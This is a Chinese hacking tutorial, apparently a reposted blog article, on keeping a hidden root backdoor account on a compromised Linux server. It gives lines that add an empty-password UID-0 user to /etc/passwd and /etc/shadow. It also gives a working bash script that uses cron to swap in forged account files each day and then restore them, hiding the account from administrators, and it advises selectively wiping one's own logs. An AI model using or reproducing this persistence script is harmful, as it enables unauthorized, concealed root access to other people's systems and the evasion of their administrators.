Linux系统后门技术(隐藏帐户篇)

Linux系统后门技术(隐藏帐户篇)
 
        每当我们欢天喜地的得到一个linux系统的服务器肉鸡时,最大的愿望就是能把它永远留住。当然,永远留住是不可能的,但是我们要尽量的不让它飞走。这就要用到linux的后门技术了,这是项复杂的技术,本人水平有限不可能面面俱到,我只希望这一系列文章能为大家提供一点思路,在您hacking的道路上打开一扇方便之门!
       言归正传,首先,给大家简单介绍一下linux的系统后门。Linux后门的种类甚至比windows下的还要多,毕竟是GNU操作系统,后门制作的空间也会很大。常见的一些后门技术有隐藏S位shell脚本文件、增加root组用户、记录破解用户密码、替换系统网络服务、可装载内核模块、rootkit工具包等等,这些技术一直被黑客们不断的组合翻新利用着,如果大家想深入的学习一下linux后门,推荐大家到http://www.egocrew.de/这个网站去看看,那里有比较新的后门技术和工具,并且很多工具都有源代码。
       好了,书说简短,下面让我们具体的看一下如何来制作安装和使用各种后门,今天是隐藏帐户的添加和驻留,高手应该可以跳过不看了。现在,假设我们得到了一个linux肉鸡的shell,并且已经获得了root的权限,从最简单的开始,通常的我们应当去添加个超级用户。
用vi 编辑/etc/passwd文件,在单独的一行中添入这样一行信息“musicyxy:x:0:0::/:/bin/sh”,
如图1
  
(图1)
然后同样vi编辑/etc/shadow文件,在单独的一行中添加“musicyxy::13407:0:99999:7:::”,
如图2
(图2)
/etc/passwd和/etc/shadow是linux中存放用户和密码信息的两个文件,用户和密码分开存放也是出于安全的考虑。编辑完成后,系统中就多了一个musicyxy用户,它的权限只比root少一点点,密码为空,这样下次我们进入这台主机的时候就可以使用musicyxy这个用户了。有很多linux的初学者会这样问:“为什么修改了这两个文件就多了个用户?而且还会有ROOT组的权限?我平时是用useradd命令添加用户的啊!”现在我就来给大家说明一下原理。
我们平时用的useradd和passwd命令是直接对/etc/passwd和/etc/shadow这个两文件进行修改生效的。这两个文件上面有很多字段,每个字段都有不同的意义,我下面来给大家详细说明。/etc/passwd文件用来存放系统帐号信息,每个字段用“:”隔开,它们的内容分别是“用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL”,现在大家明白了吧,linux就是通过读写这个文件来设置用户信息的。/etc/shadow文件用来存放用户密码信息,其各个字段的意义为“用户名:密码的MD5加密值:数字表示自系统使用以来口令被修改的天数:数字表示口令的最小修改间隔:数字表示口令更改的周期:数字表示口令失效的天数:数字表示口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用”。通过上面的说明相信大家都可以手动修改这两个文件来设置帐户了吧。现在我们的超级后门用户是留下了,但是这样明晃晃的添加用户是不是太大胆了!我们不妨借助其他的办法来隐藏这个用户,当然隐藏的方法很多,这要看你对linux的了解程度和hacking的思路。我来给大家介绍一种我自创的方法——“借尸还魂”。
思路是这样的,利用crontab(计划任务)在固定的时间做如下操作:首先我们把正常的passwd和shadow文件备份到别的地方,然后在原目录伪造这两个文件让它们生效,最后将musicyxy:x:0:0::/:/bin/sh和musicyxy::13407:0:99999:7:::两条信息追加到伪造的passwd和shadow文件中,然后在过一段时间后将原来的正常文件还原回/etc/目录。这样我们就可以在伪造文件生效的时间段内登陆系统,在不登陆的时候,伪造文件也会自动还原为正常文件,这样不容易被管理员发现,并且在一定程度上避免了正常用户信息的损坏。举个例子:我们可以把正常的文件放在/tmp/目录中,然后利用计划任务让系统在每天的下午2-3点把伪造的后门文件放到/etc/目录中,然后我们就在下午2-3点HACK进肉鸡中操作,3点过后后门会自动清除,正常的文件会回到/etc目录中,除非管理员在2-3点时查看/etc/passwd,否则很难发现后门,当然,别忘了在每次您登陆肉鸡后要记得把日志有选择性的清除掉!也就是说把自己的日志清除,保留其他用户的日志,关于这部分技术我会在以后的文章中告诉大家。
我把这个用户后门写成了shell程序,代码如下:
#!/bin/bash
echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;
echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;
service crond restart;
crontab /etc/door.cron;
以上就是一个具体的后门帐户实现,我来给大家解释一下这段代码。
第一行是linux中shell程序的开头标志,代表代码中所使用的SHELL。第二行是将“40 11 * * * cat /etc/passwd > /dev/ttypwd”这段信息追加到/etc/door.cron文件中。/etc/door.cron是用户自定义的crontab列表文件,任务计划就是依据这个文件的内容来执行的。它的编写格式是* * * * * command ,前面的5个星分别代表分钟(0~59),小时(0~23),日期(1~31),月份(1~12),星期(0~6),星后面加要执行的命令。那么第二行所代表的意思就是在每天的11点40分运行cat /etc/passwd > /dev/ttypwd,后面的相信您也能看懂了,以此类推,运行到最后一行就是利用crontab命令让文件生效。
       我们来看一下它的执行效果:
11点39分的时候/etc/passwd文件正常,没有后门帐户,如图3.
 
 
 
(图3)
11点42分,后门帐户出现!多了一个ROOT组用户信息musicyxy:x:0:0::/:/bin/sh!如图4!
(图4)
 
11点45分,我利用后门帐户登录成功,who am i命令显示是ROOT用户,权限很大,如图5。
(图5)
12点10分,后门帐户自动隐形,和11点39分之前一样,没有什么异常,但等到明天的11点40后门帐户又会出现!如图6
(图6)
 
这个程序我在FC6和THIZ7.0下做过测试都没问题,但是其他发行版可能需要作相应的更改,而且系统中一定要安装了crond服务才能正常运行。到此,隐藏后门帐户驻留成功!我的文章也要结束了,这篇文章非常的基础,介绍了一些linux用户密码的知识,以及crontab命令的使用方式,完全都是SHELL级别的操作,适合新手学习,并且希望能给高手带来一点思路!以后我会为大家介绍更加隐蔽、更难清除、更高层次的后门,希望大家关注!今天就到这里了,BYE!
  • 7
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值